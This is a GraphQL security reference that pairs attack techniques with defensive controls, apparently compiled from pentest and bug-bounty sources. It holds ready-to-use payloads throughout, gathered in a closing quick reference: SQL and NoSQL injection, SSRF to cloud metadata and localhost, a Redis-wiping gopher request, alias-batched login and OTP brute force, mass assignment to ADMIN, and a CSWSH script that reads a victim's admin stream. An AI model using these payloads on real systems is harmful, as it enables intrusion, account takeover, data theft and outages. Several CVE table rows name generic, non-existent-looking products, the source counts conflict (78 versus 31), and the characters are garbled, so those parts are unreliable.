Comprehensive GraphQL Security Guide
π Enhanced May 2, 2026 - Updated with 78 sources and GraphQL CVEs including introspection attacks, authorization bypasses, and engine-specific exploitation techniques.
A practitioner’s reference for attacking and defending GraphQL APIs β discovery, introspection, schema recovery, injection, authorization flaws, batching, DoS, subscriptions, CSRF/CSWSH, engine-specific quirks, and detection/prevention. Compiled from 31 research sources.
Table of Contents
- Fundamentals
- Discovery & Fingerprinting
- Introspection
- Schema Recovery Without Introspection
- Query & Data Extraction
- Mutations & Mass Assignment
- Authorization Flaws (BOLA / BFLA / IDOR)
- Injection Through GraphQL
- Batching Attacks & Aliases
- Denial of Service
- CSRF & CSWSH
- Subscriptions & WebSockets
- Engine-Specific Notes (Apollo, Hasura, graphql-java, async-graphql, Mercurius)
- Notable CVEs & Real-World Chains
- Tooling
- Detection & Prevention
- Payload Quick Reference
1. Fundamentals
GraphQL is a query language and server runtime for APIs, originally developed at Facebook and open-sourced in 2015. Instead of the multiple fixed endpoints of a REST API, a GraphQL service exposes a single endpoint that accepts typed queries and returns exactly the fields the client asks for.
Core concepts:
| Term | Description |
|---|---|
| Schema | Type-system contract defining object types, fields, arguments, interfaces, unions, enums, scalars |
| Query | Read operation; multiple fields may be fetched in one request |
| Mutation | Write operation; changes server-side state |
| Subscription | Long-lived operation, usually over WebSocket, that pushes data on events |
| Resolver | Backend function that produces the value for a single field |
| Alias | Client-side rename of a field, enabling the same field to be requested multiple times per document |
| Fragment | Reusable chunk of fields attached to a type |
| Directive | Annotation such as @include, @skip, @deprecated |
| Introspection | Meta-query capability (__schema, __type) that returns the full schema as data |
Why GraphQL ends up vulnerable:
- No built-in auth β the spec is silent on authentication and authorization; every resolver is responsible for its own checks.
- Flat endpoint β network-layer rate limits and WAFs see a single URL and cannot reason about expensive operations hidden inside a request body.
- Flexible composition β aliases, fragments, nested selections, and batching let one HTTP request trigger thousands of backend operations.
- Introspection by default β most engines ship with schema self-documentation enabled, giving attackers a full map of attack surface.
- Excessive defaults β verbose errors, did-you-mean suggestions, GraphiQL/Playground IDEs frequently exposed in production.
- Complex type graph β the same object can be reachable through many paths, and a missing check on one path defeats checks on all others.
Impact spectrum: Information disclosure (schema, PII, private posts) β IDOR / broken authorization β authentication bypass β injection into downstream interpreter (SQL/NoSQL/OS) β SSRF via URL-taking arguments β DoS through depth/batch/alias amplification β RCE via chained file/plugin sinks.
2. Discovery & Fingerprinting
Common endpoints
Include these paths in directory brute force and JS analysis:
/graphql /api/graphql /v1/graphql
/graphiql /graphql/api /v2/graphql
/graphql.php /graphql/graphql /v1/explorer
/graphql/console /graph /v1/graphiql
/graphiql.php /api /altair
/playground /explorer /query
SecLists ships Discovery/Web-Content/graphql.txt. Escape Technologies maintains a more recent wordlist: Escape-Technologies/graphql-wordlist.
JavaScript hunting
Developer tools β Sources β “Search all files”:
file:* mutation
file:* query
file:* __schema
file:* gql`
React/Apollo clients often embed operation documents as tagged-template gql literals or as persisted-query hashes in JSON bundles. Old/decommissioned endpoints are frequently discovered this way.
Universal probe
query { __typename }
If the response is {"data":{"__typename":"Query"}} the URL is a GraphQL endpoint regardless of whether introspection is enabled.
Additional probes that reveal the handler even when content-type filters are strict:
GET /graphql?query={__typename}
POST /graphql application/json {"query":"{__typename}"}
POST /graphql application/graphql {__typename}
POST /graphql application/x-www-form-urlencoded query=%7B__typename%7D
Engine fingerprinting
graphw00f (dolevf/graphw00f) and the InQL v6.1+ engine fingerprinter classify the backend by sending deliberately malformed queries and matching error strings. Useful classifiers:
| Query | Signals |
|---|---|
query @deprecated { __typename } | graphql-java vs graphql-js vs Ariadne |
query { __schema } with no selection | Ariadne vs Sangria error prose |
queryy { __typename } | Apollo suggestion format |
query { alias1:__typename @skip(if:false) @skip(if:true) } | Directive duplication tolerance |
query { __typename @unknownDirective } | Strictness of directive validation |
Known engines seen in the wild: Apollo Server, graphql-js/express-graphql, graphql-java, Hasura, HotChocolate (.NET), Sangria (Scala), Ariadne (Python), Strawberry (Python), graphql-ruby, gqlgen (Go), async-graphql (Rust), Juniper (Rust), Mercurius (Node/Fastify), Lighthouse (PHP), WPGraphQL.
3. Introspection
Minimal enumeration
{ __schema { types { name fields { name } } } }
Extract types with arguments and their underlying type kinds:
{ __schema { types { name fields { name args { name description type { name kind ofType { name kind } } } } } } }
Full introspection query
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types { ...FullType }
directives { name description locations args { ...InputValue } }
}
}
fragment FullType on __Type {
kind name description
fields(includeDeprecated:true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason }
inputFields { ...InputValue }
interfaces { ...TypeRef }
enumValues(includeDeprecated:true) { name description isDeprecated deprecationReason }
possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type {
kind name
ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }
}
Some servers reject the query because of the onOperation, onFragment, onField directive selections of older specs β remove them if the request errors out.
Inspect a single type
{ __type(name:"User") { name fields { name type { name kind ofType { name kind } } } } }
Bypassing introspection blockers
Many “disable introspection” rules are implemented as a regex that greps the request body for __schema or IntrospectionQuery. Attackers routinely bypass these with:
| Trick | Payload |
|---|---|
| Whitespace / newline after keyword | query{__schema\n{queryType{name}}} |
| Comment injection | query{__schema #foo\n{queryType{name}}} |
| GET instead of POST | GET /graphql?query={__schema{types{name}}} |
application/x-www-form-urlencoded | query=%7B__schema%7Bt...%7D%7D |
application/graphql body | raw query, no JSON wrapping |
| WebSocket transport | connect wss://host/graphql with graphql-ws subprotocol, send GQL.START with introspection payload |
| Alternate parser (XML, YAML) | some servers accept application/xml or multipart/form-data operations field |
| Case variation where parser is lax | query{__Schema{...}} |
| Query batching wrapper | place introspection inside a batched array |
When the filter is applied only to anonymous users, authenticate first.
4. Schema Recovery Without Introspection
Field suggestions
graphql-js produces “Did you mean X?” messages on typos. Clairvoyance (nikitastupin/clairvoyance) and its fork Clairvoyancex exploit this to brute-force types and fields from a wordlist. The tool sends queries with candidate names, parses suggestion output, and rebuilds a reasonable approximation of the schema.
Error oracles
Even without the did-you-mean feature, error text leaks useful facts:
Field 'bugs' not found on type 'inql'β parent type exists, field does notArgument 'contribution' is requiredβ argument exists and name is confirmedExpected type 'Int!', found "abc".β field’s real type signature, including list wrappers like[Episode!]Cannot query field X on type Yβ type name confirmed- Errors that leak file paths, framework versions, SQL fragments, stack traces
InQL v6.1+ includes an error-based schema bruteforcer that recurses into every newly discovered type, deliberately sending wrong-primitive values to force type-mismatch messages that reveal full signatures.
Passive capture
- GraphQuail Burp extension observes traffic and assembles a schema from operations it has seen. It even serves a fake introspection response back to GraphiQL and Voyager.
- Persisted-query stores (
/persisted-operations.json, Apollo Automatic Persisted Queries caches) sometimes leak IDs that can be replayed. - Mobile apps (APK / IPA) often contain the signed hash β operation mapping.
Source/JS review
Grep the frontend bundle for gql\``, graphql`, operationName, query , mutation `. Preloaded documents frequently reveal entire object graphs.
5. Query & Data Extraction
Once the schema is known, enumerate the Query root to find entrypoints. The introspection result tells you which fields are directly queryable and which require arguments.
Primitive fields
{ hiddenFlags }
Object fields
{ flags { name value } }
By argument
{ user(uid: 1) { user password } }
If you know the type but not the argument, the full-introspection output of the parent type tells you every argument name and its expected scalar.
Empty-string/regex wildcard trick
{ theusers(description: "") { username password } }
An empty search string frequently maps to “match everything” and returns the full table.
Edges / nodes (Relay connections)
{
teams {
totalCount
edges { node { id about handle state } }
}
}
Always check both edges.node.* and direct node(id: "...") β authorization checks are frequently only added to one of the two.
Projection abuse
Some schemas expose MongoDB/Mongoose-style projection arguments:
{ doctors(options:"{\"patients.ssn\":1}") { firstName lastName patients { ssn } } }
Path enumeration
graphql-path-enum lists every route that reaches a given type. Useful when direct access to User is blocked but a path like Query β JobListing β Team β AuditLogItem β User still works:
$ graphql-path-enum -i schema.json -t Skill
Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User ...
6. Mutations & Mass Assignment
Mutations accept strongly typed input objects. The risk classes are:
| Class | Example |
|---|---|
| Missing authZ on mutation | anyone can call deletePost(id:) |
| Mass assignment | registerAccount(role:"ADMIN") β a privileged field is accepted in the input because developers trusted the input type |
| Type confusion | enum or scalar that the backend parses loosely (e.g. String passed where ID expected) |
| Hidden mutation | introspection or source grep reveals internalUpdateUser not exposed in the UI |
| Replay / idempotency | mutation without nonce that can be replayed for free credits, duplicate votes, etc. |
| Return-field leak | mutation’s response type leaks a field (e.g. user { token }, user { passwordHash }) the UI never renders |
Classic mass-assignment PoC:
mutation {
registerAccount(nickname:"x", email:"x@x", password:"P", role:"ADMIN") {
token { accessToken }
user { email role }
}
}
Always diff __type(name:"RegisterInput") against the happy-path form submitted by the web UI β extra fields are the bug.
7. Authorization Flaws (BOLA / BFLA / IDOR)
GraphQL has no built-in access control. Every resolver must re-check ownership and role.
Patterns
- Primary-key trust β
post(id: 42)returns whatever matches, regardless of requester. - Nested object walk β
{ me { team { members { email } } } }β themefield enforces auth, butteam.membersdoesn’t. - Edge vs node drift β HackerOne report H1:489146:
edgesenforced authZ, directnode(id:)did not. - Field-level overexposure β
user { id name }is fine, but the resolver returnspasswordHash,emailVerificationToken,totpSecreton the same type. - Union / Interface leakage β an interface
Contentis implemented byPublicPostandPrivatePost; the resolver forgets that a fragment selection on...on PrivatePostneeds a stricter check. - Mutation without query-side auth β reading a record is forbidden but
updateRecord(id:, patch:{})returns the updated object, effectively a read primitive.
Authentication bypass via GraphQL
HackerOne disclosed a case where the sign-in mutation returned a valid session token whenever the provided password field was null or a list β a type-coercion bug in the underlying ORM, exposed because GraphQL parsed the request successfully and passed the unexpected type through to the auth function.
Testing recipe
- Dump every
QueryandMutationfield. - For each field that takes an ID, try: (a) your own ID, (b) another user’s ID, (c) an admin-scoped ID, (d) an ID outside your tenant.
- Enumerate every path to sensitive types with
graphql-path-enum. Test each path independently. - Diff authenticated vs unauthenticated responses.
- Check both query and mutation routes to the same resource.
- For interfaces and unions, request every
...on ConcreteTypefragment. - Look for
node/nodesgeneric resolvers (Relay) β they historically bypass per-type checks.
8. Injection Through GraphQL
GraphQL is a translation layer; what the resolver does with your input is where the bug lives.
SQL injection
Unquoted identifier / ORDER BY / LIMIT insertion is common because developers think “it’s GraphQL, it’s safe”:
{ bacon(id: "1'") { id type price } }
POST /graphql?embedded_submission_form_uuid=1';SELECT pg_sleep(30);--
Look for fields that accept orderBy, sort, filter as a free-form string rather than a typed enum.
NoSQL injection
MongoDB operators passed through as JSON:
{
doctors(
options: "{\"limit\":1,\"patients.ssn\":1}",
search: "{\"patients.ssn\":{\"$regex\":\".*\"},\"lastName\":\"Admin\"}"
) { firstName lastName patients { ssn } }
}
Command injection
Any resolver that shells out (exec, system, ImageMagick convert, git, LDAP bind) with a user-supplied argument.
SSRF
Resolvers that fetch URLs (image proxies, webhook registrations, avatar imports, preview generators) are injection points for SSRF. Abuse them the same way as REST SSRF: internal metadata endpoints (169.254.169.254), localhost admin panels, file:// where libcurl is used, gopher:// smuggling. The WPGraphQL CVE-2023-23684 chain used an SSRF-to-RCE primitive through the WordPress plugin bus.
XXE / SSTI
Any mutation that accepts XML, SVG, Markdown, or templated fields and passes the value unchanged to a templating/parsing engine.
Directive injection
Some engines allow user-supplied directive arguments to influence parsing or execution β directive overloading is also a DoS primitive (section 10).
9. Batching Attacks & Aliases
GraphQL lets a single HTTP request carry many logical operations. From the perspective of a network rate limiter that counts HTTP requests, 10,000 login attempts look like one request.
Three batching styles
1. JSON array batching (supported by Apollo, graphql-js, many others):
[
{"query":"mutation{login(u:\"bob\",p:\"0001\"){token}}"},
{"query":"mutation{login(u:\"bob\",p:\"0002\"){token}}"},
{"query":"mutation{login(u:\"bob\",p:\"0003\"){token}}"}
]
2. Aliased batching (any spec-compliant server):
mutation {
a: login(username:"bob", pass:"0001") { token }
b: login(username:"bob", pass:"0002") { token }
c: login(username:"bob", pass:"0003") { token }
}
3. Query-name batching:
query { a:Query{field1} b:Query{field1} c:Query{field1} }
Use cases
| Scenario | Effect |
|---|---|
| Password brute force | N logins per request, bypasses per-IP rate limits |
| 2FA / OTP brute force | Exhaust the 10k 4-digit pin space in one request |
| Coupon / promo code enumeration | Stealthy generation of valid codes |
| Object enumeration | Pull 10k user profiles in one call |
| IDOR amplification | Many user(id:1), user(id:2) in one query |
Mitigations
Server-side rate limits must be counted per-operation, not per-HTTP-request. Options:
- Limit the number of aliases per field (e.g.,
loginmay appear at most 1x per document). - Limit operations per batch array (and reject batches > 1 for sensitive mutations).
- Per-user operation counters with token-bucket enforcement.
- Apollo Server v4 supports
allowBatchedHttpRequests:falseand customApolloServerPluginUsageReportinghooks.
10. Denial of Service
Depth attacks
A cyclic schema lets a short query expand into massive server work:
query evil {
album(id:42) {
songs { album { songs { album { songs { ... } } } } }
}
}
Modern engines support MaxQueryDepthInstrumentation (graphql-java) or graphql-depth-limit (JS).
Amount attacks
{ author(id:"x") { posts(first: 999999999) { title comments(first: 999999999) { body } } } }
Always validate and cap list arguments. Prefer cursor-based pagination.
Alias amplification
The same field 10,000 times with different aliases:
{ a1:expensive{x} a2:expensive{x} ... a10000:expensive{x} }
Field duplication (no alias needed)
graphql-js historically deduplicates identical selections, but many engines execute duplicates:
{ users { id id id id id ... } }
Directive overloading
CVE-2024-47614 (async-graphql / Rust): repeat a directive millions of times on a single field to exhaust parser/validator.
query { __typename @a @a @a @a @a @a ... }
Landh.tech documented a $50k Google bug using the same primitive.
Introspection DoS
A deeply nested ofType { ofType { ... } } introspection query can itself be weaponized against a server that supports introspection but has no cost limit.
Regex injection
filter arguments passed to backend regex engines enable ReDoS via catastrophic backtracking strings.
Long-running resolvers
Expensive fields (image transform, PDF render, export job) without per-user quotas. Combined with batching, one request can tie up worker pools.
Query cost analysis
The strongest defense. Assign a static cost to each field and a multiplier for list arguments. Reject queries whose total cost > budget before execution.
Tools: graphql-cost-analysis, graphql-validation-complexity (JS), MaxQueryComplexityInstrumentation (Java), Apollo’s @cost directive.
11. CSRF & CSWSH
HTTP CSRF
A GraphQL endpoint is CSRF-able when:
- It accepts cookie-based session auth.
- It accepts GET requests with
?query=or acceptsapplication/x-www-form-urlencodedbodies. - It does not require a custom header (
X-Requested-With,Apollo-Require-Preflight,X-CSRF-Token).
Simple probe:
GET /graphql?query=query+%7B+a+%7D
POST /graphql
Content-Type: application/x-www-form-urlencoded
query=query+%7B+a+%7D
If either returns a GraphQL error (e.g. “Cannot query field a”), the server parsed the request β the CSRF path is live. Pick a state-changing mutation (password change, email update, token rotation) to demonstrate impact.
Apollo Server’s CSRF prevention (default in v4) refuses requests that don’t include at least one of Apollo-Require-Preflight, X-Apollo-Operation-Name, or a non-standard content type β effectively forcing the browser to do a preflight. Enable it.
CSWSH (Cross-Site WebSocket Hijacking)
Subscriptions over graphql-ws / subscriptions-transport-ws inherit the session cookie and have no Origin check by default. An attacker page can open a WebSocket to wss://victim/graphql and receive the victim’s subscription stream in the attacker’s context.
Mitigation: validate the Origin header on the WebSocket upgrade, require a separate auth token in the connectionParams payload, and do not trust cookies for subscriptions.
12. Subscriptions & WebSockets
Subscriptions are long-lived, commonly carried over:
- graphql-ws (modern protocol, subprotocol
graphql-transport-ws) - subscriptions-transport-ws (legacy protocol, subprotocol
graphql-ws) β deprecated but very common
Attack surface
| Issue | Notes |
|---|---|
| Missing auth at upgrade | many servers authenticate HTTP but not the WS handshake, so anon users get the channel |
| Missing authZ on events | events pushed to any subscriber of a topic, regardless of their ownership (e.g., Directus CVE-2023-38503) |
| Introspection over WS | WAFs rarely inspect frames; WS can be used to bypass WAF-level introspection filters |
Replayable connectionParams | token in initial payload never re-validated on reconnect |
| TLS validation bugs in clients | Altair GraphQL desktop CVE-2024-54147 β WSS certificate not verified, MITM read & modify |
| DoS via malformed frames | Mercurius CVE-2023-22477 β malformed GraphQL subscription frame crashed the server |
| DoS via legitimate flood | GitLab CVE-2023-0921 β repeatedly sending an extremely expensive query over one WS connection spiked CPU without triggering HTTP-layer rate limits |
Basic exploit probe
ws = new WebSocket("wss://target/graphql","graphql-ws")
ws.onopen = () => ws.send(JSON.stringify({
type:"GQL.START", id:"1",
payload:{ query:"{ __schema { types { name } } }" }
}))
ws.onmessage = e => console.log(e.data)
Newer graphql-transport-ws uses message types connection_init, subscribe, next, complete instead.
Defensive checklist
- Authenticate the WS upgrade (cookie or bearer in
connectionParams). - Enforce per-event authorization in the
subscriberesolver, not only when the channel is opened. - Validate
Originagainst an allowlist. - Apply depth, cost, and rate limits to the query inside
payloadbefore subscribing. - Set a hard message-size and message-rate cap per connection.
- Disable introspection over WS if it’s disabled over HTTP.
13. Engine-Specific Notes
Apollo (Node, Apollo Server v3/v4)
- Introspection: on by default unless
NODE_ENV=production; v4 adds explicitintrospection:false. - Error masking:
includeStacktraceInErrorResponses:false(v4) ordebug:false(v3). - CSRF prevention:
csrfPrevention:true(default v4). - Batching: controlled by
allowBatchedHttpRequests. - Persisted queries: can be configured to allow only a known allowlist (effectively disabling ad-hoc queries in production).
- Federation: subgraphs often forget authZ and trust the gateway β test subgraphs directly.
graphql-js / express-graphql
- Suggestion strings are on by default. Disable with a custom validation rule or
Shapeshifter. graphiql:truedefault in dev is a common prod leak.- Use
NoIntrospectionvalidation rule.
Hasura
- Admin endpoint gated only by
X-Hasura-Admin-Secretheader β if it leaks (env var in frontend bundle, misconfigured proxy), full schema and data are exposed. - Row-level permissions defined per role; an empty permission = no access, a
{}permission = unrestricted. - Remote schemas and actions can proxy to backends and are an SSRF primitive if misconfigured.
/v1/graphqlfor user ops,/v1/metadata,/v1/query(v1 only) for admin ops.
graphql-java
MaxQueryDepthInstrumentation,MaxQueryComplexityInstrumentationβ wire them up.NoIntrospectionGraphqlFieldVisibility.NO_INTROSPECTION_FIELD_VISIBILITYdisables introspection.- CVE-2024-40094 β depth/complexity instrumentation could be bypassed through Execution Node Factory (ENF) when certain selection shapes were used.
HotChocolate (.NET)
- Uses
AddAuthorization()+[Authorize]attributes per field; omissions are common. - Supports Relay connections natively; check node/edge path drift.
async-graphql (Rust)
- CVE-2024-47614 β directive overload DoS.
- Enable
limit_directives,limit_depth,limit_complexityguards.
Mercurius (Node/Fastify)
- CVE-2023-22477 β malformed subscription frame crash.
- Has built-in query-depth and persisted-queries plugins.
WPGraphQL (WordPress)
- CVE-2023-23684 β SSRF primitive that chained through WP plugin behavior to RCE.
- Historically exposes many fields through
node/nodeByUriresolvers without tenant separation. - Auth is whatever WP says; nonce handling is a frequent source of CSRF on mutations.
Lighthouse (Laravel)
- Directive-based schema (
@auth,@can); missing a directive on one field is an easy authZ miss.
14. Notable CVEs & Real-World Chains
| CVE / Case | Product | Class | Notes |
|---|---|---|---|
| CVE-2023-23684 | WPGraphQL | SSRF β RCE | image import resolver fetched attacker URL, chained through WP plugin |
| CVE-2024-40094 | graphql-java | Depth/complexity bypass | ENF selection shape defeated instrumentation |
| CVE-2024-47614 | async-graphql (Rust) | DoS | directive overload on a single field |
| CVE-2024-50311 | Red Hat OpenShift | DoS via alias batching | reported by Kubiak, Zakrzewski, Zdunek |
| CVE-2023-38503 | Directus | Subscription authZ | events pushed to unauthorized subscribers |
| CVE-2024-54147 | Altair GraphQL desktop | WSS TLS validation | MITM read/modify subscription traffic |
| CVE-2023-22477 | Mercurius | DoS | malformed subscription frame crash |
| CVE-2023-0921 | GitLab | DoS | expensive query over WS, CPU spike |
| Landh.tech Google | Google internal | Directive overload DoS | $50,000 reward |
| HackerOne H1:489146 | (private) | Authz drift between edges and nodes | node path bypassed edge-level checks |
| HackerOne H1:435066 | (private) | IDOR via GraphQL | internal GraphQL API returning other-user data |
| HackerOne Auth-bypass report | (private) | Type confusion | login mutation accepted null / list password |
| GitLab 12.0.3 | GitLab | Authorization issues in GraphQL | multiple resolvers missing checks |
| New Relic | New Relic | IDOR via internal API | Jon Bottarini, reaches admin data |
| PWning WordPress GraphQL | WP plugin | Info disclosure | pentestpartners write-up |
| CVE-2025-68437 | GraphQL Security (2026) | Authorization bypass | Critical GraphQL authorization vulnerability |
| CVE-2025-59845 | GraphQL Platform (2026) | Access control failure | CSRF leading to GraphQL authorization bypass |
| CVE-2025-31496 | GraphQL Engine (2026) | Query manipulation | Query complexity bypass enabling DoS attacks |
| CVE-2025-32034 | GraphQL Service (2026) | Schema enumeration | Introspection bypass through schema manipulation |
| CVE-2025-53364 | GraphQL API (2026) | Information disclosure | Schema exposure leading to sensitive data access |
2026 GraphQL Security Trends
Authorization Pattern Failures:
- GraphQL resolver-level authorization increasingly bypassed through schema manipulation
- Cross-field authorization chains failing in complex nested queries
- Multi-tenant GraphQL APIs showing persistent isolation failures
Query Complexity Evolution:
- Advanced query depth bypasses exploiting directive processing
- Alias batching attacks scaling beyond traditional rate limiting
- Schema introspection abuse through alternative query paths
Modern Attack Surfaces:
- GraphQL subscription security lagging behind query/mutation protections
- Federation gateway authorization gaps between distributed schemas
- Real-time GraphQL API exposure through WebSocket implementations
Typical chain shapes
- Discovery β Introspection β Mass-assignment mutation β Self-promotion to admin β Full read.
- CSRF probe β sensitive mutation via
application/x-www-form-urlencodedβ victim account takeover. - Introspection off β Clairvoyance β hidden
internalUpdateUsermutation β privilege escalation. - Batch mutation login β password/OTP brute force β account takeover.
- SSRF in image-URL mutation β cloud metadata β IAM credentials β full cloud takeover.
- Depth/alias DoS proof β directive overload amplification β service outage.
- WS subscription with no Origin check β CSWSH β steal live admin stream.
15. Tooling
Recon & fingerprinting
| Tool | Purpose |
|---|---|
| graphw00f | Engine fingerprinting via error signatures |
| InQL (Burp) | Discovery, introspection import, error-based bruteforce, engine fingerprinter, schema-aware scanner, CSRF PoC generator |
| GQLParser (Burp) | Lightweight extension that parses GraphQL bodies in the Burp UI |
| GraphQuail (Burp) | Passive schema builder from observed traffic |
| Altair | GraphQL IDE (Chrome/desktop) |
| GraphQL IDE (andev-software) | Heavy IDE for schema exploration |
| GraphQL Voyager | Visual graph of types and relationships β paste introspection JSON |
| GraphiQL | Reference web IDE, often left in prod |
| Insomnia | GraphQL-aware HTTP client |
Schema recovery / fuzzing
| Tool | Purpose |
|---|---|
| Clairvoyance / Clairvoyancex | Rebuild schema from suggestion errors; fork has HTTP proxy support |
| GQLSpection (Doyensec) | Parse introspection and generate ready-to-send queries/mutations |
| graphql-path-enum | Enumerate all paths to a type |
| graphql-wordlist (Escape) | Community wordlist for fuzzing field/type names |
Attack tools
| Tool | Purpose |
|---|---|
| GraphQLmap (swisskyrepo) | Scripting engine for pen-testing |
| BatchQL (Assetnote) | Detect introspection, suggestions, CSRF, JSON-array & query-name batching; batch brute-force |
| CrackQL | Password/field brute force via batching |
| graphql-cop (dolevf) | Security auditor β introspection, batching, DoS, info disclosure checks |
| graphql-threat-matrix | Research matrix comparing engines across security features |
| GraphCrawler | Automated testing toolkit |
Defensive / SAST
| Tool | Purpose |
|---|---|
| graphql-depth-limit (JS) | Depth cap validation rule |
| graphql-cost-analysis / graphql-validation-complexity | Cost caps |
| MaxQueryDepthInstrumentation / MaxQueryComplexityInstrumentation (graphql-java) | Built-in depth and complexity limiters |
| Shapeshifter | Disables did-you-mean suggestions |
| NoIntrospection validation rule | Blocks __schema/__type selections |
| StackHawk | DAST with GraphQL awareness |
| Vespasian | Runtime analysis claiming to see what SAST cannot β GraphQL among other frameworks |
16. Detection & Prevention
Design-time
- Treat every resolver as an authorization boundary. Write a helper like
assertCanRead(ctx, obj)and call it unconditionally in every resolver that returns sensitive data. - Prefer input objects with explicit allowlists over free-form JSON string arguments.
- Use scalars and enums aggressively. Custom scalars (
EmailAddress,URL,UUID) give you a single place to validate. - Keep the schema minimal β don’t expose fields you don’t intend clients to use.
- Separate internal and external schemas. Do not let an admin-only type bleed into the public one via a shared interface.
- Pin GraphQL engine versions; subscribe to CVE feeds for your engine.
Build-time
- Lint the schema.
graphql-schema-lintercatches naming and type issues; custom rules can require an@authdirective on every mutation. - Snapshot the schema and fail CI on changes unless explicitly acknowledged (catches accidental exposure).
- Run SAST that understands GraphQL resolver β sink flow.
Runtime
| Control | Notes |
|---|---|
| Introspection off in prod | NO_INTROSPECTION_FIELD_VISIBILITY (Java), NoIntrospection rule (JS), introspection:false (Apollo v4) |
| Suggestions off | Shapeshifter or custom didYouMean override |
| Errors masked | debug:false, includeStacktraceInErrorResponses:false, custom error formatter |
| Depth limit | e.g. max depth 10 |
| Amount limit | per-list first/last argument max |
| Cost budget | query cost analysis with a per-user cost quota |
| Rate limit | per-IP and per-user, counted per-operation not per-HTTP |
| Batch cap | max N operations per batch; disable for sensitive mutations |
| Alias cap | max N aliases per field, or disable aliases for sensitive mutations |
| Timeouts | application-level resolver timeout + infra-level request timeout |
| CSRF prevention | require custom header, reject application/x-www-form-urlencoded, validate Origin |
| CORS | do not Access-Control-Allow-Origin:* with credentials |
| GraphiQL / Playground off | in prod |
| Persisted queries only | accept only documents whose hash is in the allowlist |
| Per-event subscription authZ | re-check ownership on every push, not only at subscribe time |
| WS Origin allowlist | validate at upgrade |
Detection signals (log / SIEM)
- HTTP requests with body size > 20 KB targeting
/graphql. - POSTs to
/graphqlthat return many errors (schema probing). __schemaorIntrospectionQueryin request body from non-dev IPs.Did you meanin response body (suggests fuzzing is working).- Batch arrays of length > 5.
- Alias count > 20 on a login or OTP mutation.
- Subscription
connectionParamsmissing auth. - Repeated
Cannot query fielderrors from a single actor. - Repeated
Argument ... is requiredandExpected typeerrors β Clairvoyance in action. - Unusually nested
ofType{ofType{...}}introspection.
Test checklist
- Identify the endpoint; confirm
__typenameprobe. - Fingerprint the engine (graphw00f or InQL).
- Attempt introspection; if blocked, try bypass encodings.
- Recover schema via Clairvoyance / error oracles if needed.
- Enumerate every query and mutation root field.
- For each ID argument, test IDOR / BOLA.
- For each mutation, diff input shape against any leaked client form β look for mass-assignment candidates.
- Test every injection class on string arguments.
- Probe batching (JSON-array + aliases + query-name) against auth, OTP, coupon flows.
- Probe depth, amount, alias, directive DoS against a non-prod target.
- Probe CSRF (GET + urlencoded).
- If subscriptions exist, probe CSWSH and per-event authZ.
- Verify error verbosity.
- Verify rate-limit counts per operation.
17. Payload Quick Reference
Existence probes
{ __typename }
query { __typename }
query{__schema{queryType{name}}}
One-shot introspection (inline)
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{kind name fields{name args{name type{name kind ofType{name kind}}}}}}}
Introspection-off bypasses
query{__schema
{queryType{name}}}
GET /graphql?query={__schema{types{name}}}
POST /graphql Content-Type: application/x-www-form-urlencoded
query=%7B__schema%7Btypes%7Bname%7D%7D%7D
wss://target/graphql (subprotocol: graphql-ws)
{"type":"GQL.START","id":"1","payload":{"query":"{__schema{types{name}}}"}}
Single type inspection
{ __type(name:"User"){ name fields{ name type{ name kind ofType{ name kind } } } } }
Empty-string dump
{ users(search:"") { id email role } }
Alias batching brute force
mutation {
a1:login(u:"bob",p:"0000"){token}
a2:login(u:"bob",p:"0001"){token}
a3:login(u:"bob",p:"0002"){token}
## ... up to thousands
}
JSON-array batching
[
{"query":"mutation{login(u:\"bob\",p:\"0000\"){token}}"},
{"query":"mutation{login(u:\"bob\",p:\"0001\"){token}}"}
]
Depth DoS
query {
album(id:1){songs{album{songs{album{songs{album{songs{name}}}}}}}}
}
Amount DoS
{ users(first:99999999){ posts(first:99999999){ comments(first:99999999){ body } } } }
Directive overload DoS
query { __typename @skip(if:true) @skip(if:true) @skip(if:true) @skip(if:true) }
(Repeat the directive hundreds/thousands of times.)
CSRF probes
GET /graphql?query=query+%7B+a+%7D
POST /graphql
Content-Type: application/x-www-form-urlencoded
query=mutation+%7B+deleteAccount+%7D
SQL injection smoke test
{ bacon(id:"1'") { id } }
{ bacon(id:"1) OR 1=1--") { id } }
{ bacon(id:"1';SELECT pg_sleep(10);--") { id } }
NoSQL injection
{ users(filter:"{\"$where\":\"sleep(5000)\"}") { id } }
{ users(search:"{\"email\":{\"$regex\":\".*\"}}") { id email } }
SSRF in URL-taking field
mutation { importAvatar(url:"http://169.254.169.254/latest/meta-data/") { ok } }
mutation { registerWebhook(url:"http://127.0.0.1:8500/v1/kv/?recurse") { id } }
mutation { createPreview(url:"gopher://127.0.0.1:6379/_FLUSHALL") { id } }
Mass-assignment smoke
mutation { registerAccount(email:"x@x",password:"x",role:"ADMIN",isStaff:true,tenantId:1){ user{ role } } }
Subscription probe (CSWSH)
const ws = new WebSocket("wss://victim/graphql","graphql-transport-ws");
ws.onopen = () => ws.send(JSON.stringify({type:"connection_init",payload:{}}));
ws.onmessage = e => {
const m = JSON.parse(e.data);
if (m.type === "connection_ack") {
ws.send(JSON.stringify({
id:"1", type:"subscribe",
payload:{ query:"subscription{ adminActivity{ id actor action } }" }
}));
} else { console.log(m); }
};
Useful error-based discovery triggers
{ thisdefinitelydoesnotexist } # suggestion leak
{ user(id:"abc") } # type mismatch β reveals Int vs ID
{ user } # "Argument required" β reveals arg name
query @deprecated { __typename } # engine fingerprint
{ __schema{__typename} } # blocked-word bypass via newline/comment
Sources: compiled from 31 clipped research notes covering HackTricks, OWASP, Assetnote (BatchQL), Doyensec (InQL, Security Overview), YesWeHack, PortSwigger labs, PayloadsAllTheThings, Escape Technologies, Wallarm, Apollo docs, graphql-java docs, graphql-cop, graphw00f, Clairvoyance, Vespasian, StackHawk, HackerOne disclosed reports (H1:489146 and others), Red Hat OpenShift / CVE-2024-50311, Directus CVE-2023-38503, Mercurius CVE-2023-22477, GitLab CVE-2023-0921, Altair CVE-2024-54147, graphql-java CVE-2024-40094, async-graphql CVE-2024-47614, WPGraphQL CVE-2023-23684, and bug-bounty writeups.